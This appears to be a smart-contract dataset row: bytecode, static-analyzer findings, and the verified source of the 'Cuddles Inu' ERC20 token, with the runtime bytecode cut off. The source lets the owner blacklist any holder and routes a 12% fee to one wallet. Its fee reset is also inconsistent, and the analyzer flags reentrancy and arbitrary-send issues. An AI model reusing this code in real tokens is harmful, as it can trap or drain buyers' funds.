fffffffffffff8203612f9f57612f9e612f33565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b600061300660228361298d565b915061301182612faa565b604082019050919050565b6000602082019050818103600083015261303581612ff9565b9050919050565b600061304782612aaf565b915061305283612aaf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561308757613086612f33565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b60006130ee60258361298d565b91506130f982613092565b604082019050919050565b6000602082019050818103600083015261311d816130e1565b9050919050565b60008151905061313381612a83565b92915050565b60006020828403121561314f5761314e612a47565b5b600061315d84828501613124565b91505092915050565b600060408201905061317b6000830185612e01565b6131886020830184612e01565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006131eb60268361298d565b91506131f68261318f565b604082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b6000819050919050565b6000819050919050565b600061325061324b61324684613221565b61322b565b612aaf565b9050919050565b61326081613235565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61329b81612a71565b82525050565b60006132ad8383613292565b60208301905092915050565b6000602082019050919050565b60006132d182613266565b6132db8185613271565b93506132e683613282565b8060005b838110156133175781516132fe88826132a1565b9750613309836132b9565b9250506001810190506132ea565b5085935050505092915050565b600060a0820190506133396000830188612b5b565b6133466020830187613257565b818103604083015261335881866132c6565b90506133676060830185612e01565b6133746080830184612b5b565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133da60248361298d565b91506133e58261337e565b604082019050919050565b60006020820190508181036000830152613409816133cd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061346c60228361298d565b915061347782613410565b604082019050919050565b6000602082019050818103600083015261349b8161345f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134fe60258361298d565b9150613509826134a2565b604082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061359060238361298d565b915061359b82613534565b604082019050919050565b600060208201905081810360008301526135bf81613583565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061362260298361298d565b915061362d826135c6565b604082019050919050565b6000602082019050818103600083015261365181613615565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b60006136da60508361298d565b91506136e582613658565b606082019050919050565b60006020820190508181036000830152613709816136cd565b9050919050565b600061371b82612aaf565b915061372683612aaf565b92508282101561373957613738612f33565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006137a0602a8361298d565b91506137ab82613744565b604082019050919050565b600060208201905081810360008301526137cf81613793565b9050919050565b60006137e182612aaf565b91506137ec83612aaf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561382557613824612f33565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061386a82612aaf565b915061387583612aaf565b92508261388557613884613830565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138ec60218361298d565b91506138f782613890565b604082019050919050565b6000602082019050818103600083015261391b816138df565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613958601b8361298d565b915061396382613922565b602082019050919050565b600060208201905081810360008301526139878161394b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c149bec01aeae61367abf89dc2c5abfa6cbed0a9aa1e90f09773f3c450b9369264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,268 |
0x22d0fEea948A46c6072AE4843Ad753eEfd3aF4ec
|
/**
*Submitted for verification at Etherscan.io on 2022-01-21
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CuddlesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cuddles Inu";
string private constant _symbol = "CUDDLES";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_teamAddress = payable(0x593982757C9874BEE07a57D0A52eD2F8B80C98a8);
_marketingFunds = payable(0x593982757C9874BEE07a57D0A52eD2F8B80C98a8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f437564646c657320496e75000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f435544444c455300000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601442611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b600060065482